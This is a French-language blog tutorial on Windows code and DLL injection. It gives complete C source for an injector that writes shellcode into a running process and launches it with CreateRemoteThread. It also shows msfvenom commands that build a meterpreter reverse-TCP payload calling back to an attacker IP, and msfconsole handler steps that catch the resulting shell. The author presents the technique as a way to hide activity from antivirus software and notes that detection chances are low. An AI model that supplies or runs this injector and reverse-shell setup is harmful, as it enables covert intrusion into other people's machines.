L'injection de DLL démystifée

Les événements de ces derniers jours m’ont donné envie de me renseigner du coté des backdoors, des techniques de persistance, de communication ou encore d’évasion.

Une des techniques d’évasion (j’entends par là le fait de camoufler des activités au yeux des antivirus, firewall) est l’injection de DLL ou de code au sein d’un processus légitime.

Lors de mes recherches j’ai principalement rencontré les mêmes problèmes : des tutoriels en C++ pas en C, une documentation de windows.h pas très orthodoxe lorsque l’on débute avec celle-ci et un débug compliqué à mettre en place. Je vais donc dans ce poste la partir de la base pour que les plus débutants d’entre vous puisse suivre.

0x01 Qu'est ce que l'injection de code

L’injection de code est le fait d’allouer de la mémoire dans un processus victime puis d’y ajouter du code directement exécutable (shellcode).

Une fois le code injectédans la zone mémoire il suffira d’ouvrir un threadpointant vers celle-ci pour que notre code soit exécuté par le processus victime.

Quand j’ai découvert cette technique il y a quelques mois je suis tout de suite dit : mais si on peut injecter du code aussi facilement pourquoi on se casse la tête à trouver des vulnérabilités ?

Avec cette technique on écrit en mémoire n’importe quand, on peut donc faire faire au programme ce que l’on veut ! Oui sauf que l’on ne peut écrire dans un programme uniquement si on a les droits dessus ainsi on ne peut pas faire exécuter du code à un programme admin si on a pas les droits admin

Par contre le fait que ça soit un programme trusted qui exécute du code nous permet de ne pas éveiller les soupçons aux yeux d’un antivirus.

En dehors de ça l’injection de DLL est surtout utiliser pour modder des jeux en ajoutant des fonctionnalités ou en accédant aux ressources du processus!

0x02 Les étapes et fonctions à utiliser

Il existe une différence entre l’injection de DLL et l’injection de code (shellcode) au sein d’un programme mais globalement le process reste le même. Il existe également deux façons d’exécuter le code :

  • On crée un nouveau thread en parallèle du premier

  • On suspend le premier, lance le second et revient au premier

Ici je n’expliquerai que la première méthode.

0x02.3 Les étapes pour l'injection de code

  1. récupère le PID du processus victime
  2. On l’ouvre grâce à la fonction OpenProcess()
  3. On y alloue un peu de mémoire avec VirtualAllocEx()
  4. On écrit dans notre page précédement alloué notre code avec WriteProcessMemory()
  5. On change la protection de la page avec VirtualProtectEx()
  6. Finalement on crée notre thread avec CreateRemoteThread()

0x02.4Les étapes pour l'injection de DLL

  1. On récupère le PID du processus victime
  2. On l’ouvre grâce à la fonction OpenProcess()
  3. On récupère l’adresse de LoadLibraryA avec GetProcAddress() <–
  4. On y alloue un peu de mémoire avec VirtualAllocEx()
  5. On écrit dans notre page précédement alloué notre code avec WriteProcessMemory()
  6. On change la protection de la page avec VirtualProtectEx()
  7. Finalement on crée notre thread avec CreateRemoteThread()

Comme vous le voyez les 2 techniques sont presque identiques.

0x03 Générer nos payloads

Maintenant il s’agit de générer le code que l’on va injecter, qu’il s’agissed’un shellcode ou d’une DLL.

Soit on écrit nous même le shellcode et la DLL si on a besoin d’exécuter des instructions précises soit on peut directement générer un shellcode ou DLL avec msfvenom de Metasploit pour obtenir un reverse shell.

Je sais coder des shellcodes mais pas des DLL donc pour cette démonstration je m’appuierais sur ceux générer par msfvenom.

Msfvenom est un composant de la Metsaploit qui est de base sur Kali sinon rendez-vous sur le site officiel de rapid7 pour le download gratuitement (la community edition)

// Pour un shellcode
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 --plateform windows -f raw LHOST=192.168.0.6 LPORT=4444 > payload.shellcode
// Pour une DLL
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 --plateform windows -f dll LHOST=192.168.0.6 LPORT=4444 > payload.shellcode
  • -p spécifie le type de payload que l’on souhaite, ici un reverse shell via TCP

  • -a l’architecture x64

  • le format raw pour un shellcode et dll pour une DLL

  • LHOST correspond à l’IP du PC ou viendra se connecter la victime

  • LPORT correspond au port via lequel le reverse shell viendra se connecter sur la machine attaquante

Voilà comment générer un shellcode en 5 secondes, sinon il existe des bibliothèque de shellcode comme shell-stormou exploit-db /!\ N’utiliser un shellcode écrit par un autre uniquement si vous êtes sûr de ce qu’il fait

0x04 Le code et le debug

Bon déjà le debug il y en pas ou presque pas :

  • Lors deVirtualAllocEx() vérifier que l’espace mémoire alloué augmente avec Process Explorer

  • Bien vérifier que l’appel à chaque fonction est réussi if(function() == 0) do …

  • Faire un dump mémoire du processus (chiant)

/**
* Fonction qui charge le buffer dans le tas
* @param hConsole
* @param saved_attributes
* @param shellcodePath
* @return MallocRes
*/
MallocRes openFile(HANDLE hConsole, WORD saved_attributes, char* shellcodePath)
{
char* shellcodeFileMalloc = NULL;
FILE* fichier = NULL;
int caractereActuel = 0;
int fileSize = 0;
int i = 0;

fichier = fopen(shellcodePath, "rb");

if (fichier != NULL)
{
printf("[+] Opening the shellcode file ... OK\n");
fseek(fichier, 0L, SEEK_END);
fileSize = ftell(fichier);
rewind(fichier);

shellcodeFileMalloc = malloc(sizeof(char) * fileSize + 1);
memset(shellcodeFileMalloc, 0, fileSize + 1);
if(shellcodeFileMalloc != NULL)
{
printf("[+] Allocating %d bytes for the shellcode ... OK\n", fileSize);
do
{
caractereActuel = fgetc(fichier); // On lit le caractère
shellcodeFileMalloc[i] = (char) caractereActuel;
i++;
} while (caractereActuel != EOF); // On continue tant que fgetc n'a pas retourné EOF (fin de fichier)
}
fclose(fichier);
}
else
die(hConsole,saved_attributes, "[!] Cannot open the shellcode file !\n");

MallocRes res;
res.buffer = shellcodeFileMalloc;
res.size = fileSize;

return res;

}

Cette fonction permet de retourner un buffer contenant notre shellcode en allouant de la mémoire dans le heap de la taille du shellcode. Je ne détails pas car c’est du C basique

/**
* Retourne le pid
* @param process_name
* @return int
*/
int GetCalcPID(char* process_name)
{
int pid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hSnapshot, &pe32)) {
do {
if(strcmp(process_name, pe32.szExeFile) == 0)
{
pid = pe32.th32ProcessID;
break;
}

} while(Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}

return pid;
}

Ce bout de code va retourner le PID du processus voulu il suffit de donner le nom du processus. Il fait un snapshot des processus en cours, les parcours un à un et si le nom de notre processus victime apparaît il en retourne le PID

#include
<windows.h>
#include <stdio.h>
#include "functions.h"
#define SHELLCODE 0x01
#define DLL 0x02

int main(int argc, char* argv[])
{
int kind;
DWORD oldProtect = 0;
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
WORD saved_attributes;
GetConsoleScreenBufferInfo(hConsole, &consoleInfo);
saved_attributes = consoleInfo.wAttributes;
int size;
char* shellcode;
LPVOID addr = NULL;
HANDLE threadID;
LPVOID AddressVirtualAlloc;

// < process_name.exe > < chemin vers dll ou shellcode > < dll | shellcode >
if(argc <= 3)
{
die(hConsole, saved_attributes, "[!] No process, path or type given");
exit(0);
}

// si arg 3 = shellcode
if(strcmp(argv[3], "shellcode") == 0)
{
// On récupère le shellcode et sa taille
MallocRes res = openFile(hConsole, saved_attributes, argv[2]);
shellcode = res.buffer;
size = res.size;
kind = SHELLCODE;
printf("======== SHELLCODE ========\n");
}
// si arg 3 = DLL
else if(strcmp(argv[3], "dll") == 0)
{
// On récupère la DLL
shellcode = argv[2];
size = (int)strlen(argv[2]);
kind = DLL;
printf("======== DLL ========\n");
}
else
{
die(hConsole, saved_attributes, "[!] Pleaser enter type of payload");
exit(0);
}

// Si on ne parvient pas à ouvrir le shellcode
if(shellcode == NULL || size == 0)
{
printf("[!] Problème lors de l'ouverture du shellcode ");
}
else
{
// On récupère le PID
int pid = GetCalcPID(argv[1]);

if(pid != 0)
{
printf("[+] %s PID = %d\n", argv[1], pid);
// On récupère un handle sur le processus via sont ID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

if(hProcess)
{
printf("[+] OpenProcess ... OK\n");

if(kind == DLL)
{
// Si c'est une DLL on récupère l'adresse de la fonction LoadLibraryA dans kernel32.dll
addr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if(addr != NULL)
printf("[+] GetProcAddress 0x%p\n", addr);
else
{
die(hConsole,saved_attributes,"[!] GetProcAddress... NO\n");
exit(0);
}
}

// On alloue une page de mémoire de la taille du shellcode / path de la DLL et on récupère son adresse de début
AddressVirtualAlloc = VirtualAllocEx(hProcess, 0, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(AddressVirtualAlloc)
{
printf("[+] Virtual Alloc ... 0x%p\n", AddressVirtualAlloc);
// On écrit notre shellcode / path de dll au début de la page
if (WriteProcessMemory(hProcess, AddressVirtualAlloc, shellcode, size, NULL))
{
printf("[+] WriteProcessMemory %d bytes ... OK\n", size);
// On change la protection de la page
if (VirtualProtectEx(hProcess, AddressVirtualAlloc, size, PAGE_EXECUTE_READ, &oldProtect))
{
printf("[+] VirtualProtectEx ... OK\n");
if(kind == SHELLCODE)
{
// On crée le thread dans le processus si c'est un shellcode
threadID = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) AddressVirtualAlloc, NULL, NULL, NULL);
}
else
{
// On crée le thread dans le processus si c'est une DLL
threadID = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) addr, AddressVirtualAlloc, NULL, NULL);
}
if (threadID != NULL)
{
// Tout est bon !d
printf("[+] CreateRemoteThread ... OK\n");
printf("[+] Thread ID %d\n", GetThreadId(threadID));
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN);
printf("[+] Injection successful \n");
SetConsoleTextAttribute(hConsole, saved_attributes);
}
else
die(hConsole,saved_attributes,"[!] CreateRemoteThread... NO\n");
}
else
die(hConsole,saved_attributes,"[!] VirtualProtectEx ... NO\n");

}
else
die(hConsole,saved_attributes,"[!] WriteProcessMemory ... NO\n");
}
else
die(hConsole,saved_attributes,"[!] VirtualAllocEx ... NO\n");

}
else
die(hConsole,saved_attributes,"[!] OpenProcess ... NO\n");
}
else
die(hConsole,saved_attributes,"[!] PID not found\n");
}

return 0;
}

Bon la c’est le gros bout mais tout est détailler en commentaire donc ça ne devrait pas poser de soucis.

Je ne détaille pas les paramètres des fonctions car tout est dans la doc Microsoft et je ne suis pas assez à l’aise pour entrer dans ce genre de détails.

Maintenant que l’on a notre injecteur de shellcode / DLL on va pouvoir sortir msfconsole pour récupérer la connexion

sudo msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.6
set LPORT 4444
exploit

On obtient bien un shell avec les droits de la personne qui possède sublime_text.exe !

On peut observer certains détails avecProcess Explorer. Ici on peut voir les connexions TCP IP, une est ouverte vers le port 4444. Je trouve ça pas spécialement rassurant même si les dev’ d’antivirus connaisse cette technique les chances de détections restent relativement faibles (au moment ou j’écris l’article)

.

Pour détecter des connexions peuhabituelles je vous conseille GlassWire Firewallqui vous notifie à chaque fois qu’une nouvelle connexion est ouverte et vers quel hôte ainsi que le nombre de mo échangé etc. Cela m’a permis de voir que explorer.exe contacter régulièrement des machines à l’étranger … Pas rassurant du tout.

0x05 Injectme

Injectme est un petit soft développé par Intrinsec sécurité c’est une version plus avancé de mon SouyeInjector.

En même temps les gars qui dev ça sont des pros …

Il permet entre autre de lister les processus et voir si ils sont injectables ou non. Le code est disponible ici avec des vidéos et des slides de présentations assez sympathiques mais bon c’est codé en C++ ..

0x06 Conclusion et erreurs à éviter

J’ai perdu une journée à cause d’une erreur bête, un simple problème d‘architecture x86 / x64. En effet mon programme était compilé en 32bits mais mon PC est un x64 et j’utilise Sublime Text x64 (logique) et donc CreateRemoteThread ne marchait absolument pas. J’ai du installer la version x64 de MinGW et ferme quelques petites modifications.

Sinon comme je l’ai dit plus haut le débug est compliqué donc veiller à bien vérifier les paramètres.

Je vous mets les liens qui m’ont pas mal aidé pendant la découverte de cette technique, ils peuvent vous apporter quelques précisions sur le sujet !